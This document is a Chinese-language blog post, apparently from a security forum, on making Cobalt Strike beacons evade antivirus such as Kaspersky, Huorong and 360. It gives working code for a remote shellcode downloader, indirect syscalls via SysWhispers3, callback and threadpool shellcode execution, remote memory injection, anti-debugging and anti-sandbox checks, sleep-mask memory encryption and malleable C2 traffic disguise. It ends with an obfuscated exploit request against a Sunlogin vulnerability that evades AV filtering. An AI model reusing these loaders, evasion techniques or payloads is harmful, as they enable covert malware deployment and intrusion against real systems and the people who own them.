动态逃逸杀软的艺术
Endlessparadox 发表于 上海 技术文章 6120浏览 · 2024-12-01 02:12

本文分享的动态逃逸杀软,主要聚焦在流量、内存、行为上进行规避,并且组合了间接系统调用、反调试、反沙箱等技术进一步对抗杀软,也为后续综合逃逸EDR/XDR打下良好的基础,测试使用企业版卡巴斯基、火绒6.0、360开启晶核状态,完整代码已经上传Github

流量规避

Cobalt Strike为了提供了非常灵活的流量调整,我们需要修改profile中的流量,我这里的配置修改了热门项目的4.9的内容,默认的jquery流量已经被杀毒和EDR标记严重,卡巴斯基对于这种流量是直接秒杀的,而且即使是启用https监听对于杀毒没有意义,杀毒安装的时候默认就把自己的根证书安装上了系统,所以是可以解密https,如下图

需要提前说明,如果VPS被沙箱和情报标记为恶意ip那无论怎么改流量都会秒杀,我搞了一下午发现无论怎么改都过不了卡巴的流量,后面注意到可能是我服务器ip被拉黑了

威胁原因是云保护,换个ip就行了:

为了修改流量,需要快速学习profile的语言,阅读文档,我们可以知道http-get部分是拉取请求服务要执行的内容,为了区分不同的beacon,metadata就是加密好的元数据,为了让metadata看起来不可疑,使用了base64url对元数据进行编码,同时用header指定了Cookie头,用prepend添加一些正常的数据

我们可以运行一下c2lint看看流量呈现的效果

./c2lint endlessparadox.profile

server是控制响应output字段,mask代表随机xor加密,base64放在后面会进一步编码加密的流量降低流量的熵值

大部分师傅都是做web出身应该很容易理解这些配置文件字段,流量效果如下,完全融入正常流量:

再看一下http-post,这部分是beacon发送执行命令和任务的结果,id来确定任务序列,output自然就是任务的结果,处理也就经过了mask加密和base64url编码

下面就是模拟的流量请求:

在原有的基础上修改还是比较容易,上面的流量就是我用bp抓取了B站的流量,借此模拟合法B站的请求,原版的github里面的请求对着一个静态资源发送POST请求确实是很可疑?师傅也可以抓取其他流量,按照正常的网站修改就好了。

分阶段的shellcode不会加密流量非常坑,同时为了避免空间绘测识别我的C2我关掉了host_stage,当c2lint所有检查通过之后就可以愉快的拉起cs去测试了

网络获取shellcode

为了分离shellcode和加载器,我使用内置windows api的InternetOpenA去获取远程服务中的shellcode

std::vector<unsigned char> DownloadShellcode(const char* url) {
    std::vector<unsigned char> shellcode;
    HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet) {
        HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
        if (hUrl) {
            DWORD bytesRead = 0;
            const DWORD bufferSize = 4096;
            BYTE buffer[bufferSize];
            while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
                shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
            }
            InternetCloseHandle(hUrl);
        }
        InternetCloseHandle(hInternet);
    }
    return shellcode;
}

自解密的shellcode

我现在不想引入其他算法再去解密我们的shellcode,硬编码key不是最佳实现,目前常用的算法总会被少数几个杀毒和edr标记为可疑,我们应该处理shellcode,实现自解密,不过对于我这种一般的开发者纯汇编实现有些过于困难;而且有枪不用,用气功,怎么成为一代宗师?所以我这里使用了Sgn工具,它会帮我们处理shellcode实现运行时候自解密

./sgn --arch=64  -S -i shellcode.txt

-S是代表安全生成shellcode, -i指定我们要处理的shellcode文件,--arch=64代表指定处理64位的

它处理Payload的流程如下:

根据大佬写的算法随机空间非常大,杀毒别说抓特征,写出Yara规则都不可能:

需要注意一个问题,自解密的Shellcode是需要内存区域为RWX权限,对付杀软倒是还行,对付更厉害的EDR/XDR会被重点关照,因此自解密的shellcode也不是什么灵丹妙药,最多作为一种备选的方案

Windows API通过系统调用

我们用Windbg打个断点到VirutalAlloc这边,跟进去来看看正常API调用的流程,注意堆栈调用和反汇编区域:

右下方是正常windows api调用的一个正常路径,最下方这两个是线程启动正常的调用,我们暂时不管:

07 00000054`5532fa40 00007ff8`9a76af38 KERNEL32!BaseThreadInitThunk+0x1d
08 00000054`5532fa70 00000000`00000000 ntdll!RtlUserThreadStart+0x28

和程序有关入口其实是就是main函数,也就是callback!main+0x99,其他都是一些C库的东西,和windows api没关系:

0:000> k
 # Child-SP          RetAddr           Call Site
00 00000054`5532f7d8 00007ff8`97a3a5f8 ntdll!NtAllocateVirtualMemory
01 00000054`5532f7e0 00007ff6`c39d1639 KERNELBASE!VirtualAlloc+0x48
02 00000054`5532f820 00007ff6`c39e31f9 callback!main+0x99 
03 00000054`5532f920 00007ff6`c39e3332 callback!invoke_main+0x39 
04 00000054`5532f970 00007ff6`c39e33be callback!__scrt_common_main_seh+0x132 
05 00000054`5532f9e0 00007ff6`c39e33de callback!__scrt_common_main+0xe
06 00000054`5532fa10 00007ff8`98f1259d callback!mainCRTStartup+0xe

其实就是正常的流程就是callback!main+0x99 -->> KERNELBASE!VirtualAlloc+0x48 -->> ntdll!NtAllocateVirtualMemory -->> ntoskrnl.exe,我稍微画个图更加直观:

Syscall就是要跳过KERNELBASE!VirtualAlloc+0x48这一步,直接或者间接发起Syscall,达到绕过hook在KERNELBASE的杀毒:

我们可以看看右上角反汇编的代码,系统本身是怎么发起syscall的:

ntdll!NtAllocateVirtualMemory:
00007ff8`9a7b04c0 4c8bd1          mov     r10,rcx
00007ff8`9a7b04c3 b818000000      mov     eax,18h
00007ff8`9a7b04c8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ff8`9a7b04d0 7503            jne     ntdll!NtAllocateVirtualMemory+0x15 (00007ff8`9a7b04d5)
00007ff8`9a7b04d2 0f05            syscall
00007ff8`9a7b04d4 c3              ret
00007ff8`9a7b04d5 cd2e            int     2Eh
00007ff8`9a7b04d7 c3              ret
00007ff8`9a7b04d8 0f1f840000000000 nop     dword ptr [rax+rax]

要发起syscall其实很简单,看上去只需要将系统调用号放入 RAX 寄存器,然后直接syscall就可以了,这个例子是NtAllocateVirtualMemory,调用号是18h,只要参数就位,进入寄存器就可以直接进入内核模式了。

但是有一个关键的问题,我们是不知道具体NTAPI的系统调用号的呀!

系统调用号不同版本的windows都不一样,我们一方面要不硬编码所有的系统调用号到loader里面,要不就只能手动解析ntdll.dll来动态获取系统调用号,这些都不是简单的工作,直到SysWhispers的出现直到SysWhispers出现才真正方便的恶意代码开发者,SysWhispers经过多轮迭代,现在已经有SysWhispers3这类规避极强的方案出现,内置了多种不同的syscall方案。

根据大佬博客, 对于静态规避直接系统调用的是不行的,杀毒会杀syscall这个指令,因为系统上硬编码syscall的只可能有ntdll.dll有,我们编写shellcode loader还是得用间接系统调用

syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory -o SysWhispers
  • -m jumper_randomized指定跳跃间接系统随机化
  • -f 指定要使用的NtAllocateVirtualMemory api
  • -a 指定64位架构

这里工具的使用比较简单,就鼓励大家自己探索一下了

通过上述命令,将会生成随机间接系统调用的三个文件,添加进我们的项目里面,之后还要启用MASM才能正常编译:

用起来就和几乎和正常API一样,稍微要注意的是,NTAPT一般会多几个参数,这部分花时间看看文档,稍微麻烦一点;我们再看看它生成的关键汇编代码:

.code

EXTERN SW3_GetSyscallNumber: PROC

EXTERN SW3_GetRandomSyscallAddress: PROC

Sw3NtAllocateVirtualMemory PROC
    mov [rsp +8], rcx          ; Save registers.
    mov [rsp+16], rdx
    mov [rsp+24], r8
    mov [rsp+32], r9
    sub rsp, 28h
    mov ecx, 019911121h        ; Load function hash into ECX.
    call SW3_GetRandomSyscallAddress        ; Get a syscall offset from a different api.
    mov r11, rax                           ; Save the address of the syscall
    mov ecx, 019911121h        ; Re-Load function hash into ECX (optional).
    call SW3_GetSyscallNumber              ; Resolve function hash into syscall number.
    add rsp, 28h
    mov rcx, [rsp+8]                      ; Restore registers.
    mov rdx, [rsp+16]
    mov r8, [rsp+24]
    mov r9, [rsp+32]
    mov r10, rcx
    jmp r11                                ; Jump to -> Invoke system call.
Sw3NtAllocateVirtualMemory ENDP

end

比较有意思的点,它使用了API HASH技术规避硬编码字符串到二进制文件里面,同时获取了随机syscall地址,这样发出syscall的地方虽然还是ntdll.dll,但是确实完全不同的API地址,这可以规避掉NTDLL的hook(因为杀软不可能hook所有API,不然我们的电脑要卡死了)

虽然理论上安全软件依然可以Hook内核,但是出于安全考虑,微软阻止了这种行为,KPP蓝屏警告!实际上,安全产品无法真正Hook内核,有些是hook ntdll来解决,有些是使用内核ETW来收集调用日志,再做决策,所以理论上是Syscall是操作安全的;2024年,间接系统调用依然非常好用。

shellcode执行方案选择

红队开发需要权衡当前的环境情况来选择不同的方案,编写执行方法一般分为两个大方向,一种是在我们加载器内部执行,另一种是注入其他进程执行;内部执行好处是非常容易规避杀软的检测,而且很轻量,但是代价是假如恶意操作失误,被杀软标记后会立刻销毁我们的加载器,作为一次性的使用物品是非常合适;注入后执行的代价是注入动作比较敏感,但是后续操作操作即使是失误也不会立刻关联到我们编写的加载器,非常适合反复使用

回调函数执行

本身杀毒对回调函数查杀不严格,我只需要把回调的执行地址指向shellcode地址即可执行,非常简单,用EnumChildWindows举个例子,Address直接指向我们分配的内存地址就好了

EnumChildWindows(NULL, (WNDENUMPROC)Address, NULL)

著名AlternativeShellcodeExec的有大量回调函数,可以直接拿来使用,回调本身没啥好说的,因为涉及到背后的消息处理机制可能很复杂也可能很简单,要规避强就用线程池回调就可以了。

bool CreateAndTriggerEvent(PTP_WAIT_CALLBACK WaitCallback) {
    // 创建事件对象
    HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    if (hEvent == NULL) {
        //std::cerr << "Failed to create event." << std::endl;
        return false;
    }

    // 创建线程池等待对象
    PTP_WAIT wait = CreateThreadpoolWait(WaitCallback, NULL, NULL);
    if (wait == NULL) {
        //std::cerr << "Failed to create wait object." << std::endl;
        CloseHandle(hEvent);
        return false;
    }

    // 将事件关联到线程池等待对象
    SetThreadpoolWait(wait, hEvent, NULL);

    // 模拟触发事件
    if (!SetEvent(hEvent)) {
        //std::cerr << "Failed to set event." << std::endl;
        CloseThreadpoolWait(wait);
        CloseHandle(hEvent);
        return false;
    }

    // 进入无限等待,确保shellcode的线程不会执行完就退出
    WaitForSingleObject(GetCurrentProcess(), INFINITE);

    // 清理资源
    //CloseThreadpoolWait(wait);
    //CloseHandle(hEvent);
    return true;
}
//触发这个回调函数
CreateAndTriggerEvent((PTP_WAIT_CALLBACK)Address);

Windows有大量的回调方法,配合获取shellcode方法可以组合出上百种免杀方案,而且好处是简单而小,杀毒无法查杀,使得可以轻而易举到达一个静态很好的规避查杀的效果

间接系统调用升级传统APC注入

通过刚才的方法,我们就可以轻松升级我们的APC注入代码了,用 SysWhispers3生成一下我们接下来要调用的NTAPI就可以了.

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o apcsyscall -v

修改一下inject注入方法,NTAPI和原本的标准API无非就是多了几个参数,可以做更加细腻的控制:

std::tuple<BOOL, PVOID> syscallInject(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
    SIZE_T sNumberOfBytesWritten = NULL;
    PVOID pAddress = nullptr;
    NTSTATUS STATUS1 =  Sw3NtAllocateVirtualMemory(hProcess,&pAddress, NULL, &sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (STATUS1 != 0) {
        std::cout << "Windows Error code is " << GetLastError() << std::endl;
        return std::make_tuple(FALSE, nullptr);
    }
    if (pAddress == NULL) {
        std::cout << "Windows Error code is " << GetLastError() << std::endl;
        return std::make_tuple(FALSE, nullptr);
    }
    NTSTATUS STATUS2 = Sw3NtWriteVirtualMemory(hProcess, pAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten);
    if (STATUS2 != 0) {
        std::cout << "Windows Error code is " << GetLastError() << std::endl;
        return std::make_tuple(FALSE, nullptr);
    }
    DWORD dwOldProtection = NULL;
    NTSTATUS STATUS3 = Sw3NtProtectVirtualMemory(hProcess, &pAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection);
    if (STATUS3 != 0) {
        std::cout << "Windows Error code is " << GetLastError() << std::endl;
        return std::make_tuple(FALSE, nullptr);
    }
    return std::make_tuple(TRUE, pAddress);
}

由于我们的使用的Sw3NtAllocateVirtualMemory函数直接分配内存,这意味着这块分配的内存区域没有任何关联在磁盘上的PE文件,这对于杀毒来说是可疑的,系统内存区域有执行x权限的通常情况下会关联到一个dll

没有执行权限的一般会给动态数据内存,这部分不会关联dll:

这部分就像是JAVA中的内存马一样,没有磁盘上class文件,内存马扫描器就能找到可疑的活动。要解决这部分查杀我们得使用模块踩踏技术,这部分就留到后续再分享吧;

反调试

为了避免安全分析的工程师调试我们的loader,我们可以尝试加入反调试技术,目前的调试器都会自动扑获异常,只需要我们故意触发一个异常即可

#include <iostream>
#include <Windows.h>

BOOL isDebugged = TRUE;

LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers)
{
    isDebugged = FALSE;
    return EXCEPTION_CONTINUE_EXECUTION;
}

int main()
{
    PTOP_LEVEL_EXCEPTION_FILTER previousUnhandledExceptionFilter = SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);
    RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);
    SetUnhandledExceptionFilter(previousUnhandledExceptionFilter);
    if (isDebugged) {
        exit(0);
    }
    std::cout << "Now IS TIME TO REAL FUNN " << '\n';
}

自定义异常分三步:

第一步:设置异常处理函数SetUnhandledExceptionFilter,并且指向我们的自定义的异常处理函数,函数返回指定为EXCEPTION_CONTINUE_EXECUTION,意味着遇到错误继续执行后续代码
第二步:主动升起异常函数RaiseException
第三步:恢复之前保存的previousUnhandledExceptionFilter,此时isDebugged已经是Ture,直接退出程序

一旦我下个断点就会是这样,处有未经处理的异常,后续继续调试就会走到退出代码,无法调试后续的代码了:

我这里比较简陋,当然有很多其他高级的反调试技巧,可以具体参考最权威的https://anti-debug.checkpoint.com/进一步学习

反沙箱

沙箱经常出现在低成本的自动化识别威胁的方案中,为了避免我们的shellcode加载完成运行在沙箱中被识别出来,我这里使用了TCP关联延迟方案;基本上在加载shellcode之前,我们通过延迟一个很长的时间来规避沙箱的检查;但是现代高级的沙箱总会hook掉一些API的休眠时间,并且修改为0;最终解决方案是差异化,当沙箱的休眠时间和我们服务的休眠时间不一致的时候,就直接退出

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <iostream>
#include <memory>
#include <string>
#include <winsock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")

class WinsockInit {
public:
    WinsockInit() {
        if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
            throw std::runtime_error("Error: WSAStartup failed");
        }
    }

    ~WinsockInit() {
        WSACleanup();
    }

private:
    WSADATA wsaData;
};

class Socket {
public:
    Socket() : sockfd(socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) {
        if (sockfd == INVALID_SOCKET) {
            throw std::runtime_error("Error: Could not create socket");
        }
    }

    ~Socket() {
        if (sockfd != INVALID_SOCKET) {
            closesocket(sockfd);
        }
    }

    SOCKET get() const { return sockfd; }

private:
    SOCKET sockfd;
};

int hello_tcp(const std::string& ip, int port) {
    try {
        WinsockInit winsockInit;
        Socket socket;

        sockaddr_in server_addr = {};
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(port);
        server_addr.sin_addr.s_addr = inet_addr(ip.c_str());

        // 连接到服务器
        if (connect(socket.get(), reinterpret_cast<struct sockaddr*>(&server_addr), sizeof(server_addr)) == SOCKET_ERROR) {
            throw std::runtime_error("Error: Connect failed with error code " + std::to_string(WSAGetLastError()));
        }

        std::cout << "Connected to server\n";
        return 0;

    }
    catch (const std::exception& ex) {
        std::cerr << ex.what() << std::endl;
        return 1;
    }
}

这个函数所作的事情的作为TCP和我们的服务端沟通,看看固定端口有没有开启;

hello_tcp("127.0.0.1", 9999); //发起第一个TCP握手

Sleep(60000);  //假设沙箱hook时间,时间会归0,但是我们服务器的休眠它无法控制

hello_tcp("127.0.0.1", 9999); // 休眠结束,根据tcp开放的情况来判断是否是沙箱

假设沙箱10分钟后必定超时,如果hook休眠时间改为0,那么会过早请求我们的服务器,端口没能开放将会导致直接退出;如果不hook,10分钟后沙箱资源销毁了,自然也无法分析了。

服务端设计实现也很简单,就开个socks TCP监听出来休眠就是了

import socket
import time
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
import sys

def tcp_con(sleep=bool):
     # 创建一个TCP/IP套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 绑定到指定端口
    server_address = ('0.0.0.0', 9999)
    print('Starting up on {} port {}'.format(*server_address))
    sock.bind(server_address)

    # 开始监听连接
    sock.listen(1)

    print('Waiting for a connection...')
    connection, client_address = sock.accept()
    print('Connection from', client_address)

    connection.close()
    #反沙箱睡眠600秒,后面开启http服务 
    if(sleep):
        print('ok , tcp done and will go to sleep')
        time.sleep(600)
        print('ok , sleep done')

    return 0

内存规避

过卡巴内存据说很难,让我们来看看真的如此吗?实际上轻而易举。

Arsenal Kit是综合了多种规避技术的武器库,让我们去捞一下官方的Arsenal Kit武器库,这是官方的hash地址,SHA256是c2e1ba266aa158636ea3470ba6ab7084bb65d6811131c550d8c6357ca0bbaedd:

去微步在线捞一下样本:

下载下来解压,之后我们手工再验证一下hash就可以了:

certutil -hashfile file md5

我们看一下它的目录结构:

里面每个Kit都是一个套件,里面有详细的md文档说明解释,我们这里关注内存规避是sleepmask套件,直接跳进源码里面分析是非常痛苦的,我们得先总体熟悉一下整体的层次再去关注具体实现:

主要的逻辑都在sleepmask.c里面了,我画个函数调用图片:

执行这个BOF是生命周期现在看起来就很清晰了,BOF进入内存后,首先经过一系列的信息准备,获取需要加密内存区域的信息、之后依次执行mask函数的各种加密操作;evasive_sleep为休眠做准备,之后根据配置选择,选择休眠的模式(waitforsingleobject 或者psleep休眠),之后休眠期结束,再执行解密内存的操作,如此循环往复,就是这个sleepmask的生命周期了。

我想我们现在还是一头雾水,不过不着急,还需要看一下这些函数关键的一个struct,里面包含了这些函数执行需要的关键信息:

/******** DO NOT MODIFY FILE START  ********/

/*
 *  beacon_ptr   - pointer to beacon's base address
 *  sections     - list of memory sections beacon wants to mask.
 *                 A section is denoted by a pair indicating the start and end index locations.
 *                 The list is terminated by the start and end locations of 0 and 0.
 *  heap_records - list of memory addresses on the heap beacon wants to mask.
 *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.
 *  mask         - the mask that beacon randomly generated to apply
 */
typedef struct {
   char  * beacon_ptr;
   DWORD * sections;
   HEAP_RECORD * heap_records;
   char    mask[MASK_SIZE];
} SLEEPMASKP;

/******** DO NOT MODIFY FILE END  ********/

如果师傅还没储备PE结构、和内存映射的知识接下来肯定会一脸懵逼,为了保证读者的流畅性,我们快速补充一下PE知识部分的关键知识;

PE文件是Windows操作系统可执行文件格式,包括.exe.dll文件。它是基于COFF(Common Object File Format)的扩展,包含了一系列用于描述文件如何加载到内存并执行的数据结构。我们这里关注sections字段,sections字段存储了程序的代码、全局变量、资源信息。

下图是正常PE如何映射到内存中的过程:

涉及到BOF的载入就会变得更加复杂,不过本质其实一样,无非是解析过程变得复杂了,在内存中的状态依然一致。为了规避杀毒的特征查找,我们就需要对这部分关键的内存区域进行加密操作,这也是SLEEPMASKP结构会保存的关键信息地址。

我们现在有几个关键的疑问:

  1. 没看到mask_heap和mask_sections解密的逻辑?
  2. 是怎么加密了.text这种可执行区域的特征的?被加密了怎么恢复到原始的状态?

进去看一下加密方法,我们不难发现,实现加密的逻辑是XOR,这意味着只需要再次调用这个加密就函数就能解密,XOR本身是互逆运算,因此不需要实现新的解密方法:

/* Mask a beacon section
 *   First call will mask
 *   Second call will unmask
 */
void mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
   while (a < b) {
      *(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
      a++;
   }
}

/* Mask the beacons sections
 *   First call will mask
 *   Second call will unmask
 */
void mask_sections(SLEEPMASKP * parms) {
   DWORD * index;
   DWORD a, b;

   /* walk our sections and mask them */
   index = parms->sections;
   while (TRUE) {
      a = *index; b = *(index + 1);
      index += 2;
      if (a == 0 && b == 0)
         break;

      mask_section(parms, a, b);
   }
}

/* Mask the heap memory allocated by beacon
 *   First call will mask
 *   Second call will unmask
 */
void mask_heap(SLEEPMASKP * parms) {
   DWORD a, b;

   /* mask the heap records */
   a = 0;
   while (parms->heap_records[a].ptr != NULL) {
      for (b = 0; b < parms->heap_records[a].size; b++) {
         parms->heap_records[a].ptr[b] ^= parms->mask[b % MASK_SIZE];
      }
      a++;
   }
}

对于text_section区域,bof采取的是内存权限的变动,加密的时候根据配置情况使用NtProtectVirtualMemory或者VirtualProtect函数反转内存权限到PAGE_READWRITE(可读可写)

void mask_text_section(SLEEPMASKP * parms) {
   if (text_section.mask) {
#if USE_SYSCALLS
      SIZE_T size = text_section.end - text_section.start;
      PVOID ptr = (PVOID) (parms->beacon_ptr + text_section.start);

      if (0 != NtProtectVirtualMemory(GetCurrentProcess(), (PVOID) &ptr, &size, PAGE_READWRITE, &text_section.old)) {
         text_section.mask = 0;
         return;
      }
#else
      if (!VirtualProtect(parms->beacon_ptr + text_section.start, text_section.end - text_section.start, PAGE_READWRITE, &text_section.old)) {
          text_section.mask = 0;
          return;
      }
#endif

      mask_section(parms, text_section.start, text_section.end);
   }
}

对于解密操作是使用NtProtectVirtualMemory或者VirtualProtect反转回text_section.old的权限(这部分由用户的profile文件控制,一般是rwx或者rx权限)

void unmask_text_section(SLEEPMASKP * parms) {
   if (text_section.mask) {
      mask_section(parms, text_section.start, text_section.end);

#if USE_SYSCALLS
      SIZE_T size = text_section.end - text_section.start;
      PVOID ptr = (PVOID) (parms->beacon_ptr + text_section.start);
      NtProtectVirtualMemory(GetCurrentProcess(), (PVOID) &ptr, &size, text_section.old, &text_section.old);
#else
      VirtualProtect(parms->beacon_ptr + text_section.start, text_section.end - text_section.start, text_section.old, &text_section.old);
#endif
   }
}

XOR计算本身速度很快,加密解密发生在一瞬间,和Cobastrike的休眠周期(默认60s休眠)比起来可能就是千万分之一或者一亿分之一的时间窗口(现代CPU一般可以在几个时钟周期内完成,比例非常小),杀毒的从头内存扫描要想找到我们正常休眠活动的beacon几乎是不可能的。

我们还有一个重要的疑问,内存权限翻转为RW了,是怎么解密恢复的?没有执行权限呀。要回答这个关键的问题就要引入help stub这个内存区域,早期的CS保留了一小块内存区域拥有执行权限,而且没有被加密(也无法加密),这样杀毒就能找到这块内存区域,干掉我们的beacon,我们得想办法消除这个特征。

解决这个问题正是evasive_sleep(parms->mask, time, &info);的作用,Sleepmask采用了Ekko休眠技术;为了理解这部分我们得学几个关键window API:

CreateTimerQueueTimer API

CreateTimerQueueTimer 用于在计时器队列中创建一个计时器,该计时器到期时会触发指定的回调函数,同时给出了Parameter参数可以用于传递回调函数参数,创建的计时器会在固定时间触发。

BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);

NtContinue API

NtContinue 的主要功能是从提供的 ThreadContext 中恢复线程的执行状态。这意味着调用这个函数的线程会被强制切换到指定的寄存器状态(包括程序计数器、堆栈指针等),并继续执行

NTSYSAPI 
NTSTATUS 
NTAPI 
NtContinue(
    IN PCONTEXT ThreadContext, 
    IN BOOLEAN RaiseAlert
);

这个函数给了我们可能性去操作寄存器然后跳转到任意的系统API,从而调用任意系统API。函数调用的本质实际上是参数准备在寄存器上,CPU顺序执行,熟悉x64架构的师傅应该都知道Rip寄存器控制着函数要去的地址,而参数通常使用寄存器(如 RDI, RSI, RCX, 等)来传递前几个函数参数,这就提供了无限的可能。

把上述这两个函数组合起来,并且利用ROP技巧,我们可以在定时器内执行特定的WIN API:

CONTEXT RopProtRW = { 0 };
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));

         // VirtualProtect( ImageBase, ImageTextSize, PAGE_READWRITE, &OldProtect );
        RopProtRW.Rsp -= 8;
        RopProtRW.Rip = (DWORD_PTR) VirtualProtect;
        RopProtRW.Rcx = (DWORD_PTR) ImageBase;
        RopProtRW.Rdx = ImageTextSize;
        RopProtRW.R8 = PAGE_READWRITE;
        RopProtRW.R9 = (DWORD_PTR) &OldProtect;

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopProtRW, , 0, WT_EXECUTEINTIMERTHREAD);

由于CreateTimerQueueTimer指向NtContinue,这部分可以利用RopProtRW传递并转发到VirtualProtect的位置上,这样一来修改权限动作就交付给了系统本身,系统本身当然有权限执行修改内存权限,而我们只需要计算好时间,等待系统解密完成,所以说自解密的说法其实不太对,应该是系统解密才更恰当。

现代EDR一般会扫描具备执行权限的内存区域,但是如果不加密内存肯定是不行的,为了强力规避,作者又找了一个系统函数在内存中实现加密解密,这就是著名的SystemFunction032,用起来就两个参数,没什么难度。

NTSTATUS SystemFunction032
 (
  struct ustring*       data,
  const struct ustring* key
 )

现在我们再深入分析一下这个函数的实现:

前面都是一些参数准备的工作:

核心部分利用 CreateTimerQueueTimer 创建多个定时任务,按以下顺序执行:

time代表我们的休眠时间,旨在对其休眠恢复时间:

  • 100ms: 调用 spoof_stack
  • 200ms: 调用 NtContinue,设置为调用 VirtualProtect
  • 300ms: 调用 NtContinue,设置为调用 SystemFunction032
  • 400 + time ms: 重复调用 SystemFunction032
  • 500 + time ms: 调用 VirtualProtect,恢复代码段的可执行权限。
  • 600 + time ms: 恢复原始栈。
  • 700 + time ms: 调用 SetEvent,解除线程的阻塞。

整个生命周期实际上就是如下图,我们不难发现,如果给beacon执行任务的时间比较久的话,被EDR察觉的概率会大大增加,这部分就要求红队操作需要注意OPSEC了:

不看源码,直接用的话非常简单,我们执行./build.sh看看需要什么参数:

我这里有windows的linux子系统,直接编译导入一下:

./build.sh 49 WaitForSingleObject true indirect_randomized ./temp/

使用过CS插件的师傅都知道,在这边加载一下CNA就好了,记得要重启客户端才能正确生效,否则是过不了卡巴的;下次面试官再问你如何过卡巴就用我这篇文章,如果面试官说不二开就过不了,就直接用我这篇文章打脸面试官(笑),实际上根本不需要而二开:

不过,读者看过我之前的文章会发现有yara签名可以打标内存,但是红队无需担心,可以使用更加底层的LLVM混淆,每次编译都生成完全不同的特征,对源码打标变的毫无意义,请查看KomiMoe大佬的工作,我这里就不展开了,替换一下里面的编译器和编译参数就可以。

备注:可能LLVM混淆有bug或者致命错误会导致sleepmask加密失效甚至beacon崩溃,务必反复测试验证工作正常,如果只是为了逃逸卡巴斯基可以不混淆直接导入使用,但是商业EDR(Crowdstrike、bitdenfender这种顶级的)必须混淆,因为会集成内存yara规则重点打击。

上线测试

把这些技术组合在一起,一个不错的loader就起来了,起码应付99%杀毒和初级的分析人员没问题。

行为规避

当然上线完成还不够,我们上线完成之后如果要做各种敏感的操作,例如进程注入、内存执行.net程序、执行键盘监控、dump lsass内存、加入后门项持久化等,有行为检测的杀毒都会秒杀这种恶意操作,这个时候就需要我们针对这些进行特化规避,这些都是非常复杂深入的话题,我这里快速帮师傅过一下。

进程注入

上线之后,CS默认的注入已经被查杀严重了,我们可以看一下配置文件用了什么类型的注入,我们CS配置文件写明了会执行下面4种注入

execute {

        # The order is important! Each step will be attempted (if applicable) until successful
        ## self-injection
        CreateThread "ntdll!RtlUserThreadStart+0x42";
        CreateThread;

        ## Injection via suspened processes (SetThreadContext|NtQueueApcThread-s)
        # OPSEC - when you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.
        # SetThreadContext;
        NtQueueApcThread-s;

        ## Injection into existing processes
        # OPSEC Uses RWX stub - Detected by Get-InjectedThread. Less detected by some defensive products.
        #NtQueueApcThread; 

        # CreateRemotThread - Vanilla cross process injection technique. Doesn't cross session boundaries
        # OPSEC - fires Sysmon Event 8
        CreateRemoteThread;

        # RtlCreateUserThread - Supports all architecture dependent corner cases (e.g., 32bit -> 64bit injection) AND injection across session boundaries
        # OPSEC - fires Sysmon Event 8. Uses Meterpreter implementation and RWX stub - Detected by Get-InjectedThread
        RtlCreateUserThread; 
    }

完全理解这些注入原理不在本篇讨论范围,目前只需要知道所有技术的注入受限于底层的注入原理,并非所有的注入都能成功,而且杀毒查杀默认的严重,对付杀毒尽量不要使用原生的注入,目前Github上已经有很多开箱的高级注入可以使用,建议使用最近发布的线程池注入

虽然我们习惯性使用APC注入、DLL注入、线程池注入这种说法,但是深入研究其实可以分解为分配内存技术+写入技术+执行技术,Black Hat的演讲Process Injection Techniques - Gotta Catch Them All,对于这几年的注入技术总结的非常全面,如果师傅深入理解背后的工作原理之后,开发出相关注入技术的变体还是很容易的。

流量层面的漏洞防御绕过

漏洞防御杀毒吹嘘的很牛逼,我们实际来看看,这是一个古老的向日葵漏洞,公开的POC发送,我们的payload被拦截了,不用说是正则匹配:

绕过正则没啥难度,搞Web出身的师傅怎么可能还搞不定你的流量拦截,稍微fuzz变形就绕过了,杀毒不是WAF,没啥好说的,太弱了:

GET /check?cmd=ping//////88ukjvyjufhilhl//..//../././././/..//../..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2FpOweRshELl.exe+'echo%20vF2T7n' HTTP/1.1
Host: 192.168.43.171:49807
User-Agent: Mozilla/5.0 (Windows NT 6.1; gez-ER; rv:1.9.0.20) Gecko/6930-02-04 18:22:36 Firefox/3.6.19
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
